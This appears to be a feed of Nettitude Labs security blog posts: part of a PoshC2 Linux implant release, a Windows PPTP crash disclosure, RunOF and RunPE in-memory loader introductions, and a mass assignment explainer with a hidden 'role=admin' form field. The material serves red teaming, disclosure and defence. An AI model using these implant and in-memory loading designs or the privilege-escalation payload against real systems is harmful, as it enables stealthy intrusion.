Most notably, the implant allows you to execute other commands as child processes using /bin/sh, run Python modules (again, assuming a Python interpreter is present on your target), and run the linuxprivchecker script that is present in the Python implant.

Goal

To meet our needs, we set the following high-level goals:

  • Follow the existing pattern of a small stage one loader, with a second stage being downloaded from the C2 server.
  • A native executable, with as few dependencies as possible and that would run on as many different distributions as possible.
  • Compatibility with older distributions, particularly those with an older kernel.
  • As little written to disk as possible beyond the initial loader.
  • Run in user-space (i.e., not a kernel implant).

This gives us greater flexibility and stealth, and allows us to operate on machines that maybe don’t have Python installed or where a running Python process would be anomalous.

There are a few choices in language and architecture to build native executables. The “traditional” method is to use C or C++ which compiles to an ELF executable. More modern languages, like Golang, are also an option, and have notably been used by some threat groups to develop native tooling. For this project however we decided to stick with C as it lets us implement small and lean executables.

How it Works

The Linux implant comes in two parts, a dropper and a stage two which is downloaded from the C2.

Compilation of the native images can be a bit time consuming, so we have provided binary images in the PoshC2 distribution (you can see the source code here). This means that when a new implant is generated, PoshC2 needs a way to “inject” its configuration into the binary file. All configuration is contained in the dropper, except for a random key and URI which are patched over placeholder values in the stage two binary and is contained in an additional ELF section at the end of the binary. This is injected by PoshC2 using objcopy when a new implant is generated. You should note that at the moment there is no obfuscation or encryption of the configuration so it will be trivially readable with strings or similar.

When the dropper is launched it parses the configuration and connects to the C2 server to obtain the second stage using the configured hosts and URLs.

Loading the Second Stage

Our main aim with the execution of the second stage was to be able to run it without writing any artifacts to disk, and to have something that was easy to develop and compile. Given the above goals, it also needed to be as portable as possible.

The easiest way to do this would be to create a shared library and use the dlopen() and dlsym() functions to load it and find the address of a function to call. Historically, the dlopen() functions required a file to operate on, but as of kernel version 3.17 it is possible to use memfd_create to get a file descriptor for memory without requiring a writable mount point. However, there are two issues with that approach:

  • The musl standard library we are using (see below) doesn’t support dlopen as it doesn’t make sense in a context where everything is statically linked.
  • Ideally, we’d like to support kernels older than 3.17, as although it was released in 2014, we still come across older ones from time to time.

Given these constraints, we implemented our own shared library loader in the dropper. More details can be found in the project readme, but at a high level it’s this:

  • Parses the stage two ELF header, and allocates memory as appropriate.
  • Copies segments into memory as required.
  • Carries out any relocations required (as specified in the relocations section).
  • Finds the address of our library’s entry function (we define this as loopy() because it, well, loops…).
  • Calls the library function with a pointer to a configuration object and a table of function pointers to common functions the second stage needs.

If you want to understand this process in more detail there is an excellent set of articles by Eli Bendersky that go through the process for load time relocation and position independent code.

In theory, the second stage could be any statically linked library, but we’ve not extensively tested the loader. In the future, we’d like to re-use this loader capability to allow additional modules to be delivered to the implant so you can bring your own tooling as needed (for example, network scanning or proxying).

At this point the second stage is now operating and can communicate with the C2, run commands, etc.

Compatibility

One of the key aims for the Linux implant was to make it operate on as many different distributions/versions as possible without needing to have any prior knowledge of what was running before deployment – something that can be difficult to achieve with a single binary.

Normally Linux binaries are “dynamically linked”, which means that when the program is run the OS runtime-linker (usually something like /lib/ld-linux-x86-64.so.2) finds and loads the shared libraries that are needed.

For example, running ldd /bin/ssh, which shows the linked library dependencies, demonstrates that it depends on a range of different system libraries to do things like cryptographic operations, DNS resolutions, manage threads, etc. This is convenient because your binaries end up being smaller as code is reused, however it also means that your program will not run unless that the specific version of the library you linked against at compile time is present on the target system.

Obviously, we can’t always guarantee what will be present on the systems we are deploying on, so to work around this the implant is “statically linked”. This means that the executable contains its code and all of the libraries that it needs to operate in one file and has no dependencies on anything other than the operating system kernel.

The key component that needs to be linked is the “standard library” which is the set of functions that are used to carry out common tasks like string/memory manipulation, and most importantly interface between your application and the OS kernel using the system call API. The most common standard library is the GNU C library (glibc), and this is what you will usually find on most Linux distributions. However, it is fairly large and can be difficult to successfully statically link. For this reason, we decided to use the musl library, which is designed to be simple, efficient and used to produce statically linked executables (for example as on Alpine Linux).

Because the implant comes in two parts, if there are any common dependencies (e.g., we use libcurl to make HTTPS requests) then they would normally have to be statically linked into each binary. This would obviously be inefficient as the process would end up having two copies of the library in memory, one from the dropper and one from the stage two, and the stage two would be unnecessarily large. Therefore, for the larger libraries like libcurl a set of function pointers are provided from the dropper when it executes the stage two, so it can take advantage of the libraries that were already linked into the dropper.

The implant is built for x86 systems, as this means that it will run on both 32- and 64-bit operating systems. Other architectures (e.g., ARM) may follow.

Child Processes

Our implant would be pretty limited without the ability to execute other commands using the system shell. This is easily carried out using the popen() function call in the standard library which executes the given command and opens a pipe so the command’s output can be read. However, some commands (e.g. ping with default arguments) may not exit, and so our implant would “hang” reading the output forever. To get around this, we have written a custom popen() implementation that allows us to launch our subcommand in a custom process group and set an alarm using SIGALRM to kill it after a user-configurable timeout period. Any output written by the process is then read and returned to the C2. This does mean however that long running commands will be prematurely terminated.

Detection

We typically find that Linux environments have a lot less scrutiny applied than their Windows counterparts. Nevertheless, they are often hosting critical services and data and so monitoring for suspicious or unusual behaviour should be considered. Many security vendors are starting to release monitoring agents for Linux, and several open-source tools are available.

A full exploration of security monitoring for Linux is out of scope for this post, but some things that might be seen when using this implant are:

  • Anomalous logins (for example SSH access at unusual times, or from an unusual location).
  • Vulnerability exploitation (for example, alerts in NIDS).
  • wget or curl being used to download files for execution.
  • Program execution from an unusual location (e.g. from a temporary directory or user’s home directory).
  • Changes to user or system cron entries.

The dropper itself has very limited operational security so we expect static detection of the binary by antivirus or NIDS to be relatively straightforward in this publicly released version.

It’s also worth reviewing the PoshC2 indicators of compromise listed at https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise.

Full Changelog

Many other updates and fixes have been added in this version and merged to dev, some of which are briefly summarized below. For updates and tips check out @nettitude_labs, @benpturner, @m0rv4i and @b4ggio-su on Twitter.

  • Miscellaneous fixes and refactoring
  • Fixed MSTHA and RegSvr32 quickstart payloads
  • Several runas and Daisy.dll related fixes
  • Improved PoshC2 reports output and style
  • Enforced the consistent use of UTC throughout
  • FComm related fixes
  • Added Native Linux implant and related functionalities from Joel Snape (@jdsnape)
  • Added Get-APICall & DisableEnvironmentExit in Core
  • Updated to psycopg2-binary so it’s not compiled from source
  • Database related fixes
  • RunPE integration
  • Added GetDllBaseAddress, FreeMemory, and RemoveDllBaseAddress in Core
  • Added C# Ping module from Leo Stavliotis (@lstavliotis)
  • Fixed fpc script on PostgreSQL
  • Added PrivescCheck.ps1 module
  • Added C# IPConfig module from Leo Stavliotis (@lstavliotis)
  • Updated several external modules, including Seatbelt, StandIn, Mimikatz
  • Added EventLogSearcher & Ldap-Searcher
  • Added C# NSLookup module from Leo Stavliotis (@lstavliotis)
  • Added getprocess in Core
  • Added findfile, getinstallerinfo, regread, lsreg, and curl in Core
  • Added GetGPPPassword & GetGPPGroups modules
  • Added Get-IdleTime to Core
  • Added PoshGrep option for commands
  • Added SharpChromium
  • Added DllSearcher to Core
  • Updated Dynamic-Code for PBind
  • Added RunOF capability into Posh along with several compiled situational awareness OFs
  • Updated Daisy Comms
  • Added C# SQLQuery module from Leo Stavliotis (@lstavliotis)
  • Added ATPMiniDump
  • Added rmdir, mkdir, zip, unzip & ntdsutil to Core
  • Fix failover retries for C# & Updated SharpDPAPI
  • Updated domain check case sensitivity in dropper
  • Fixed dropper rotation break
  • Added WMIExec and SMBExec modules
  • Added dcsync alias for Mimikatz
  • Added AES256 hash for uploaded files
  • Added RegSave module
  • SharpShadowCopy integration
  • Fixed and updated cookie decrypter script
  • Updated OPSEC Upload
  • Added FileGrep module
  • Added NetShareEnum to Core
  • Added StickyNotesExtract
  • Added SharpShares module
  • Added SharpPrintNightmare module
  • Added in memory SharpHound option
  • Updated Tasks.py to save Seatbelt output
  • Added kill-remote-process to Core
  • Fixed jxa_handler not being imported
  • Updated posh-update script to accept -x to skip install
  • Added process name in implant view from Lefteris Panos (@Lefterispan)
  • Added SharpReg module from Charley Celice (@kibercthulhu)
  • Added SharpTelnet module from Charley Celice (@kibercthulhu)
  • kill-process with no arguments now terminates the implant’s current process following a warning prompt
  • Added hide-dead-implants command
  • Added ability to modify user agent when creating new payloads from Kirk Hayes (@l0gan54k)
  • Added get-acl command in Core

Download now

github GitHub: https://github.com/nettitude/PoshC2

The post Introducing PoshC2 v8.0 appeared first on Nettitude Labs.

CVE-2022-23253 – Windows VPN Remote Kernel Null Pointer Dereference

22 March 2022 at 09:00

CVE-2022-23253 is a Windows VPN (remote access service) denial of service vulnerability that Nettitude discovered while fuzzing the Windows Server Point-to-Point Tunnelling Protocol (PPTP) driver. The implications of this vulnerability are that it could be used to launch a persistent Denial of Service attack against a target server. The vulnerability requires no authentication to exploit and affects all default configurations of Windows Server VPN.

Nettitude has followed a coordinated disclosure process and reported the vulnerability to Microsoft. As a result the latest versions of MS Windows are now patched and no longer vulnerable to the issue.

Affected Versions of Microsoft Windows Server

The vulnerability affects most versions of Windows Server and Windows Desktop since Windows Server 2008 and Windows 7 respectively. To see a full list of affected windows versions check the official disclosure post on MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23253.

Overview

PPTP is a VPN protocol used to multiplex and forward virtual network data between a client and VPN server. The protocol has two parts, a TCP control connection and a GRE data connection. The TCP control connection is mainly responsible for the configuring of buffering and multiplexing for network data between the client and server. In order to talk to the control connection of a PPTP server, we only need to connect to the listening socket and initiate the protocol handshake. After that we are able to start a complete PPTP session with the server.

When fuzzing for vulnerabilities the first step is usually a case of waiting patiently for a crash to occur. In the case of fuzzing the PPTP implementation we had to wait a mere three minutes before our first reproducible crash!

Our first step was to analyse the crashing test case and minimise it to create a reliable proof of concept. However before we dissect the test case we need to understand what a few key parts of the control connection logic are trying to do!

The PPTP Handshake

PPTP implements a very simple control connection handshake procedure. All that is required is that a client first sends a StartControlConnectionRequest to the server and then receives a StartControlConnectionReply indicating that there were no issues and the control connection is ready to start processing commands. The actual contents of the StartControlConnectionRequest has no effect on the test case and just needs to be validly formed in order for the server to progress the connection state into being able to process the rest of the defined control connection frames. If you’re interested in what all these control packet frames are supposed to do or contain you can find details in the PPTP RFC (https://datatracker.ietf.org/doc/html/rfc2637).

PPTP IncomingCall Setup Procedure

In order to forward some network data to a PPTP VPN server the control connection needs to establish a virtual call with the server. There are two types of virtual call when communicating with a PPTP server, these are outgoing calls and incoming calls. To to communicate with a VPN server from a client we typically use the incoming call variety. Finally, to set up an incoming call from a client to a server, three control message types are used.

  • IncomingCallRequest – Used by the client to request a new incoming virtual call.
  • IncomingCallReply – Used by the server to indicate whether the virtual call is being accepted. It also sets up call ID’s for tracking the call (these ID’s are then used for multiplexing network data as well).
  • IncomingCallConnected – Used by the client to confirm connection of the virtual call and causes the server to fully initialise it ready for network data.

The most important bit of information exchanged during call setup is the call ID. This is the ID used by the client and server to send and receive data along that particular call. Once a call is set up data can then be sent to the GRE part of the PPTP connection using the call ID to identify the virtual call connection it belongs to.

The Test Case

After reducing the test case, we can see that at a high level the control message exchanges that cause the server to crash are as follows:

StartControlConnectionRequest() Client -> Server
StartControlConnectionReply() Server -> Client
IncomingCallRequest() Client -> Server
IncomingCallReply() Server -> Client
IncomingCallConnected() Client -> Server
IncomingCallConnected() Client -> Server

The test case appears to initially be very simple and actually mostly resembles what we would expect for a valid PPTP connection. The difference is the second IncomingCallConnected message. For some reason, upon receiving an IncomingCallConnected control message for a call ID that is already connected, a null pointer dereference is triggered causing a system crash to occur.

Let’s look at the crash and see if we can see why this relatively simple error causes such a large issue.

The Crash

Looking at the stack trace for the crash we get the following:

... <- (Windows Bug check handling)
NDIS!NdisMCmActivateVc+0x2d
raspptp!CallEventCallInConnect+0x71
raspptp!CtlpEngine+0xe63
raspptp!CtlReceiveCallback+0x4b
... <- (TCP/IP Handling)

What’s interesting here is that we can see that the crash does not not take place in the raspptp.sys driver at all, but instead occurs in the ndis.sys driver. What is ndis.sys? Well, raspptp.sys in what is referred to as a mini-port driver, which means that it only actually implements a small part of the functionality required to implement an entire VPN interface and the rest of the VPN handling is actually performed by the NDIS driver system. raspptp.sys acts as a front end parser for PPTP which then forwards on the encapsulated virtual network frames to NDIS to be routed and handled by the rest of the Windows VPN back-end.

So why is this null pointer dereference happening? Let’s look at the code to see if we can glean any more detail.

The Code

The first section of code is in the PPTP control connection state machine. The first part of this handling is a small stub in a switch statement for handling the different control messages. For an IncomingCallConnected message, we can see that all the code initially does is check that a valid call ID and context structure exists on the server. If they do exist, a call is made to the CallEventCallInConnect function with the message payload and the call context structure.

case IncomingCallConnected:
    // Ensure the client has sent a valid StartControlConnectionRequest message
    if ( lpPptpCtlCx->CtlCurrentState == CtlStateWaitStop )
    {
        // BigEndian To LittleEndian Conversion
        CallIdSentInReply = (unsigned __int16)__ROR2__(lpCtlPayloadBuffer->IncomingCallConnected.PeersCallId, 8);
        if ( PptpClientSide ) // If we are the client
            CallIdSentInReply &= 0x3FFFu; // Maximum ID mask
            // Get the context structure for this call ID if it exists
            IncomingCallCallCtx = CallGetCall(lpPptpCtlCx->pPptpAdapterCtx, CallIdSentInReply);
            // Handle the incoming call connected event
            if ( IncomingCallCallCtx )
                CallEventCallInConnect(IncomingCallCallCtx, lpCtlPayloadBuffer);

The CallEventCallInConnect function performs two tasks; it activates the virtual call connection through a call to NdisMCmActivateVc and then if the returned status from that function is not STATUS_PENDING it calls the PptpCmActivateVcComplete function.

__int64 __fastcall CallEventCallInConnect(CtlCall *IncomingCallCallCtx, CtlMsgStructs *IncomingCallMsg)
{
    unsigned int ActiveateVcRetCode;
    ...
ActiveateVcRetCode = NdisMCmActivateVc(lpCallCtx->NdisVcHandle, (PCO_CALL_PARAMETERS)lpCallCtx->CallParams);
if ( ActiveateVcRetCode != STATUS_PENDING )
{
    if...
        PptpCmActivateVcComplete(ActiveateVcRetCode, lpCallCtx, (PVOID)lpCallCtx->CallParams);
    }
return 0i64;
}

...

NDIS_STATUS __stdcall NdisMCmActivateVc(NDIS_HANDLE NdisVcHandle, PCO_CALL_PARAMETERS CallParameters)
{
    __int64 v2; // rbx
    PCO_CALL_PARAMETERS lpCallParameters; // rdi
    KIRQL OldIRQL; // al
    _CO_MEDIA_PARAMETERS *lpMediaParameters; // rcx
    __int64 v6; // rcx

    v2 = *((_QWORD *)NdisVcHandle + 9);
    lpCallParameters = CallParameters;
    OldIRQL = KeAcquireSpinLockRaiseToDpc((PKSPIN_LOCK)(v2 + 8));
    *(_DWORD *)(v2 + 4) |= 1u;
    lpMediaParameters = lpCallParameters->MediaParameters;
    if ( lpMediaParameters->MediaSpecific.Length < 8 )
        v6 = (unsigned int)v2;
    else
        v6 = *(_QWORD *)lpMediaParameters->MediaSpecific.Parameters;
        *(_QWORD *)(v2 + 136) = v6;
        *(_QWORD *)(v2 + 136) = *(_QWORD *)lpCallParameters->MediaParameters->MediaSpecific.Parameters;
        KeReleaseSpinLock((PKSPIN_LOCK)(v2 + 8), OldIRQL);
    return 0;
}

We can see that in reality, the NdisMCMActivateVc function is surprisingly simple. We know that it always returns 0 so there will always be a proceeding call to PptpCmActivateVcComplete by the CallEventCallInConnect function.

Looking at the stack trace we know that the crash is occurring at an offset of 0x2d into the NdisMCmActivateVc function which corresponds to the following line in our pseudo code:

lpMediaParameters = lpCallParameters->MediaParameters;

Since NdisMCmActivateVc doesn’t sit in our main target driver, raspptp.sys, it’s mostly un-reverse engineered, but it’s pretty clear to see that the main purpose is to set some properties on a structure which is tracked as the handle to NDIS from raspptp.sys. Since this doesn’t really seem like it’s directly causing the issue we can safely ignore it for now. The particular variable lpCallParameters (also the CallParameters argument) is causing the null pointer dereference and is passed into the function by raspptp.sys; this indicates that the vulnerability must be occurring somewhere else in the raspptp.sys driver code.

Referring back to the call from CallEventCallInConnect we know that the CallParmaters argument is actually a pointer stored within the Call Context structure in raspptp.sys. We can assume that at some point in the call to PptpCmActivateVcComplete this structure is freed and the pointer member of the structure is set to zero. So lets find the responsible line!

void __fastcall PptpCmActivateVcComplete(unsigned int OutGoingCallReplyStatusCode, CtlCall *CallContext, PVOID CallParams)
{
    CtlCall *lpCallContext; // rdi
    ...
if ( lpCallContext->UnkownFlag )
{
    if ( lpCallParams )
        ExFreePoolWithTag((PVOID)lpCallContext->CallParams, 0);
        lpCallContext->CallParams = 0i64;
        ...

After a little bit of looking we can see the responsible sections of code. From reverse engineering the setup of the CallContext structure we know that the UnkownFlag structure variable is set to 1 by the handling of the IncomingCallRequest frame where the CallContext structure is initially allocated and setup. For our test case this code will always execute and thus the second call to CallEventCallInConnect will trigger a null pointer dereference and crash the machine in the NDIS layer, causing the appropriate Blue Screen Of Death to appear:

Proof Of Concept

We will release proof of concept code on May 2nd to allow extra time for systems administrators to patch.

Timeline

  • Vulnerability reported To Microsoft – 29 Oct 2021
  • Vulnerability acknowledged – 29 Oct 2021
  • Vulnerability confirmed – 11 Nov 2021
  • Patch release date confirmed – 18 Jan 2022
  • Patch released – 08 March 2022
  • Blog released – 22 March 2022

The post CVE-2022-23253 – Windows VPN Remote Kernel Null Pointer Dereference appeared first on Nettitude Labs.

Introducing RunOF – Arbitrary BOF tool

2 March 2022 at 20:26

A few years ago, a new feature was added to Cobalt Strike called “Beacon Object Files” (BOFs). These provide a way to extend a beacon agent post-exploitation with new features, perhaps to respond to conditions that you find after exploring an environment. Since then, the community has created many BOFs to cover many common scenarios, and we’ve been leveraging some of them to more closely emulate adversary actions on objectives.

github GitHub: https://github.com/nettitude/RunOF

While doing this we’ve wanted to have a way to help us more easily debug and test our own BOFs, as well as use them across all the tooling we use. Therefore, we’re introducing RunOF – a tool that allows you to run BOFs outside of the Cobalt agent, as well as within PoshC2.

What is RunOF?

The aim of this project is to create a .NET application that is able to load arbitrary BOFs, pass arguments to them, execute them and collect and return any output. Additionally, the .NET application should be able to run within C2 frameworks, such as PoshC2.

The overall process is broadly similar to that used by the RunPE tool that we recently released, and so the RunOF tool uses some of the same techniques. The high-level process is as follows:

  • Receive or open a BOF file to run
  • Load it into memory
  • Resolve any relocations that are present
  • Set memory permissions correctly
  • Locate the entry point for the BOF
  • Execute in a new thread
  • Retrieve any data output by the BOF
  • Cleanup memory artifacts before exiting

How RunOF works

The first step in developing RunOF was to understand in detail what Beacon Object Files are. To do this, we looked at the publicly available documentation, and some of the example BOFs produced by the community.

A BOF contains an exported routine (typically a function called ‘go’ – but it can be anything you like), as well as calls to routines such as BeaconPrintf to return data back to the agent. There is also a convention that allows access to the Windows API by calling a function of the form DLL_name$function_name – e.g. kernel32$VirtualAlloc.

BOFs are, as the name suggests, “object” files, with some specifications for how symbols should be imported so the beacon loader can resolve them dynamically. An object file is something you are most likely to have encountered as an intermediary file when compiling code, typically with a .o extension. When you are developing a C application for example, there are actually multiple steps happening – often abstracted by the Makefile or other build system that you are using. The first are preprocessing and compilation; these are taking the human-readable code, dealing with #defines and #includes before converting it into machine code that can be executed by processor. The second is linking: this step takes all the outputs of the previous step and resolves any references between them, before constructing an executable file that allows the operating system to load and execute the binary.

Compilation Process

The object file is the output from the first preprocessing and compilation stage, so it contains unlinked relocatable machine code, along with debugging and other metadata. On Windows (which we’re targeting with RunOF) object files use the Common Object File Format (COFF) which Microsoft documents as part of the PE format (https://docs.microsoft.com/en-us/windows/win32/debug/pe-format).

A COFF file is made up of a collection of headers containing information about the file itself, symbol and string tables, and then a collection of sections that contain the code to be executed, data it needs and information on how to load that data into memory.

Object File Layout

What each section is for is a little out of scope for this article, but the key ones we need to use are:

  • .text: This contains the machine code to be executed.
  • .data: Storage for initialized static variables.
  • .bss: Storage for uninitialized static variables.
  • .rdata: Storage for read-only initialized variables (e.g. constants).
  • .reloc: Information on which bits of the file need to be updated when the load address is known.

As well as sections, an important part of the file we need to parse is the symbol table. This gives the location in the file of functions we have implemented, as well as functions we are expecting to import from other DLLs.

Example Symbol Table

For example, in the screenshot above, we can see the go symbol is located in ‘SECT1’ (which is the .text section), whereas the symbols such as __imp_BeaconPrintf are ‘UNDEF’ which means we need to provide them. Normally this would be done by the linker as part of the overall build process we outlined above, but we will have to do that step in our loader.

The loading process follows the following high level steps:

Loading Process

The most complex part of the process is probably resolving the relocation entries. When the code is compiled the compiler doesn’t know where in memory items (such as functions, variables or data) will be located when the application runs – the values could be in other object files, or need to be loaded from an Operating System API. Therefore, the compiler has a set of architecture specific-rules to choose from that allow it to specify that the address needs to be ‘filled in’ at linking time.

There is a small subset in the diagram above, the full list is quite large. Many appear to not be used in practice (and, for example, tools like Ghidra don’t support them) so we’ve only implemented the ones seen in the most common compilers. A relocation entry has, in effect, three fields – the symbol the relocation references, the address the relocation is to be applied to and the relocation type. As an example, the last one in the list (IMAGE_REL_AMD64_REL32) means the loader has to find the address of the referenced symbol, calculate a 32-bit relative address from the relocation location to that symbol and write the value to the relocation address.

Once the relocations have been applied, memory permissions set correctly and the entry point located the BOF can be executed.

Getting it done with .NET

We wanted this to run in .NET to give us greater flexibility in how we use it as part of our other C2 tooling. This poses a challenge, since .NET is an interpreted language and so the code we write will be running inside the Common Language Runtime (CLR). Fortunately, .NET provides functionality for working with unmanaged code called Interop that allows us to manipulate native memory to load the BOF and then call a native Windows API function to execute it. We use the same technique as developed for RunPE of launching the code in a new thread, and we install an exception handler to prevent any buggy BOFs from crashing the entire process.

Another challenge we faced was in getting any output produced by the BOF back to the .NET parent application so it could be returned down a C2 channel. The Cobalt agent defined a set of Beacon* functions (e.g. BeaconPrintf) that the BOF can call to pass data back to the implant. These need to be implemented as native code for the BOF to be able to call them, and we need to have a way of passing the data they produce between the native code and the .NET parent. To implement this, we have a small ‘beacon_functions’ COFF file that is loaded by the .NET loader first. This contains implementations of the Beacon*functions that write their output into a buffer that is grown to contain the data output by the BOF. When the actual BOF is loaded the addresses of the already loaded Beacon* functions can then be provided during the symbol resolution step. Once BOF execution completes the .NET parent can read from the memory buffer to retrieve any output generated.

The final piece of the puzzle is how we provide arguments to the BOF file. In Cobalt, BOFs are loaded with an ‘aggressor’ script that allows you to pass arguments of differing types to the BOF file, where they are retrieved by using the data API defined in beacon.h:

Data API Definition

To allow BOFs to accept arguments in RunOF we have to accept them on the command line of our application, then provide them in a way that can be consumed by the native code once it is loaded. To do this, we serialize them into a shared memory buffer using a custom type, length, value (TLV) format. Our internal implementation of the data API can then read from that buffer when invoked by the BOF:

Argument Serialisation

There are two important caveats to this approach:

  • The arguments must be provided on the command line in the order the BOF is expecting to receive them. You can get this from the aggressor script used to load the BOF, or from looking at the BOF code.
  • The arguments must be provided with the correct type (e.g. Int/Short etc.). Again, this can usually be seen from the aggressor script. In some cases, the aggressor script may itself do some parsing (e.g. converting a DNS lookup type such as A or AAAA into a numeric code for the BOF’s internal use) – in which case you have to provide the internal code.

You can see a lot more detail on this in the project README, and the command line help offers a summary:

Command Line Help

Debug Capability

As well as running BOFs, the RunOF project can also be used to help develop new BOF capability. The project files contain a ‘Debug’ build target – if this is used then the loader will pause before executing the BOF to allow a debugger to be attached. You’ll also get lots of information about the loading process itself.

Conclusion

We hope that RunOF gives Red Teamers a way to use existing BOF functionality in other C2 frameworks, and to help develop new and innovative BOF capability. The RunOF project can be found at the link below.

github GitHub: https://github.com/nettitude/RunOF

The post Introducing RunOF – Arbitrary BOF tool appeared first on Nettitude Labs.

Explaining Mass Assignment Vulnerabilities

By: Dom Myers
25 January 2022 at 09:00

Programming frameworks have gained popularity due to their ability to make software development easier than using the underlying language alone. However, when developers don’t fully understand how framework functionality can be abused by attackers, vulnerabilities are often introduced.

One commonly used framework feature is known as mass assignment, a technique designed to help match front end variables to their back end fields, for easy model updating.

Implementing mass assignment

We’ll be using PHP/Laravel as an example to demonstrate how mass assignment works via the Laravel framework. Let’s imagine you have a form which allows a user to update some of their profile details, and that form contains the following fields:

<form method="POST" action="/updateuser">
    <input type="text" name="name" />
    <input type="text" name="email" />
    <input type="text" name="address" />
    <input type="text" name="phone" />
    <button type="submit">Signup</button>
</form>

Within the Laravel controller, one way to update those fields would be as follows:

public function updateUser(Request $request)
{
    $user = Auth::user();
    $user->name = $request->post('name');
    $user->email = $request->post('email');
    $user->address = $request->post('address');
    $user->phone = $request->post('phone');
    $user->save();
}

An alternative way to do this would be to take advantage of mass assignment, which would look something like this:

public function updateUser(Request $request)
{
    $user = Auth::user();
    $user->update($request->all());
}

This code updates the User model with the values from the Request (in this case the HTML fields for name, email, address and phone) assuming that the input names match the models fields. This obviously saves superfluous lines of code, since all fields can be updated at once, instead of specifying individually.

The mass assignment vulnerability

So, how might an attacker exploit this?

As may be evident from the code above, the framework is taking all the input fields from the Request variable and updating the model without performing any kind of validation. Therefore, its trusting that all the fields provided are intended to be updateable.

Although the example currently only provides options for updating fields such as name and email, there are usually more columns in the User table which aren’t displayed on the front end. In this case, lets imagine that there is also a field named role, which determines the privilege of the user. The role field wasn’t displayed in the HTML form because the developers didn’t want users changing their own role.

However, with our understanding that the controller is simply trusting all input provided by the request to update the User model, an attacker can inject their own HTML into the page to add a field for role, simply by using built in browser tools. This can also be done by intercepting the request using a proxy and appending the field name and value, or by any other technique that allows client side modification.

<form method="POST" action="/updateuser">
    <input type="hidden" name="role" value="admin">
    <input type="text" name="name" />
    <input type="text" name="email" />
    <input type="text" name="address" />
    <input type="text" name="phone" />
    <button type="submit">Signup</button>
</form>

This time, when the controller is reached, the user model will be updated with the expected fields (name, email, address, phone) as well as the additional role field provided.  In this case, the vulnerability leads to privilege escalation.

This particular example demonstrates how mass assignment can be exploited to achieve privilege escalation, however it is often possible to bypass other controls using the same technique. For example, an application might prevent a username from being edited when updating profile information, to ensure integrity and accountability across audit trails. Using this attack, a user could perform malicious actions under the guise of one username before switching to another.

Countermeasures

There are several ways to protect against mass assignment attacks. Most frameworks provide defensive techniques such as those discussed in this section.

The general idea is to validate input before updating the model. The safest way to do this is to somewhat fall back to the original and more convoluted process of specifying each field individually. This also has the added benefit of providing the ability to add additional validation to each field beyond ensuring only expected fields are updated.

In Laravel, one way to do this would be as shown below; include some validation such as the maximum number of permissible characters for the name field, and then update the User model with the validated data. As the validate() function lists the exact fields expected, if the role field was appended as demonstrated in our previous sample attack, it would be ignored and have no effect.

public function updateUser(Request $request)
{
    $validatedData = $request->validate([
        'name' => ['required', 'max:255'],
        'email' => ['required', 'unique:users'],
        'address' => ['required'],
        'phone' => ['numeric']
    ]);
    $user = Auth::user();
    $user->update($validatedData);
}

An alternative method is to utilize allow lists and deny lists to explicitly state what fields can and cannot be mass assigned. In Laravel, this can be done by setting the $fillable property on the User model to state which fields may be updated in this way. The code below lists the four original fields from the HTML form, so if an attacker tried to append the role field, since its not in the $fillable allow list, it won’t be updated.

class User extends Model
{
    protected $fillable = [
        'name',
        'email',
        'address',
        'phone'
    ];
}

Similarly, deny lists can be used to specify which fields cannot be updated via mass assignment. In Laravel, this can be done using the $guarded property in the model instead. Using the following code would have the same effect as the above, since the role parameter has been deny listed.

class User extends Model
{
    protected $guarded = ['role'];
}

Conclusion

Mass assignment vulnerabilities are important issues to check for during software development and during penetration tests because they are often not picked up by automated tools, due to them often having a logic component. For example, a tool will not likely have the context to understand if a user has managed to escalate their privilege after a specially crafted request.

They are also often overlooked by developers, partly due to lack of awareness for how certain features can be exploited, but also due to pressure to complete projects since its faster to use mass assignment without performing input validation.

It’s important to understand that mass assignment vulnerabilities exist and can be exploited with high impact. A strong software development lifecycle and associated testing regime will reduce the likelihood of these vulnerabilities appearing in code.

The post Explaining Mass Assignment Vulnerabilities appeared first on Nettitude Labs.

Introducing Process Hiving & RunPE

By: Rob Bone
2 September 2021 at 09:00
Process Hiving Cover 2

Download our whitepaper and tool

This blog is a condensed version of a whitepaper we’ve released, called “Process Hiving”.  It comes with a new tool too, “RunPE”.  You can download these at the links below.

Whitepaper

Our process hiving whitepaper can be downloaded here.

Tool

RunPE, our accompanying tool, can be downloaded from GitHub.

High quality red team operations are research-led. Being able to simulate current and emerging threats at an accurate level is of paramount importance if the engagement is going to provide value to clients.

One common use case for offensive operations is the requirement to run native executable files or compiled code on the target and in memory. Loading and running these files in memory is not a new technique, but running executables as secondary modules within a Command & Control (C2) framework is rarer, particularly those that support arguments from the host process.

This blog introduces innovative techniques and is a must have tool for the red team arsenal. RunPE is a .NET assembly that uses a technique called Process Hiving to manually load an unmanaged executable into memory along with all its dependencies, run that executable with arguments passed at runtime, including capturing any output, before cleaning up and restoring memory to hide any trace that it was run.

What is it?

The aim of this project is to develop a .NET assembly that provides a mechanism for running arbitrary unmanaged executables in memory. It should allow arguments to be provided, load any libraries that are required by the code, obtain any STDOUT and STDERR from the process execution, and not terminate the host process once the execution of the loaded PE finishes.

This .NET assembly must be able to be run in the normal way in C2 frameworks, such as by execute-assembly in Cobalt Strike or run-exe in PoshC2, in order to extend the functionality of those frameworks.

Finally, as this is to all take place in an implant process, any artefacts in memory should then be cleaned up by zeroing out the memory and removing them or restoring original values in order to better hide the activity.

We’re calling this technique of running multiple PEs from the within the same process ‘Process Hiving’ and the result of this work is the .NET assembly RunPE. In essence this technique:

  • Receives a file path or base64 blob of a PE to run
  • Manually maps that file into memory without using the Windows Loader in the host process
  • Loads any dependencies required by the target PE
  • Patches memory to provide arguments to the target PE when it is run
  • Patches various API calls to allow the target PE to run correctly
  • Replaces the file descriptors in use to capture output
  • Patches various API calls to prevent the host process from exiting when the PE finishes executing
  • Runs the target PE from within the host process, while maintaining host process functionality
  • Restores memory, unloads dependencies, removes patches and cleans up artefacts in memory after executing

Loading the PE

The starting point for the work was @subtee‘s .NET PE Loader utilised in GhostPack’s SafetyKatz. This .NET PE Loader already mapped a PE into memory manually and invoked the entry point, however a few issues remained preventing its use it in an implant process. SafetyKatz uses a ‘slightly modified’ version of Mimikatz as the target PE, critically to not require arguments or exit the process upon completion.

The first step then was to re-use as much of this work as possible and rewrite it to suit our needs – no need to reinvent the wheel when a lot of great work was already done. The modified loader manually maps the target PE into memory, performs any fixups and then loads any dependency DLLs that are not already loaded. The Import Address Table for the PE is patched with the locations of all the libraries once they are loaded, mimicking the real Windows loader.

Patching Arguments

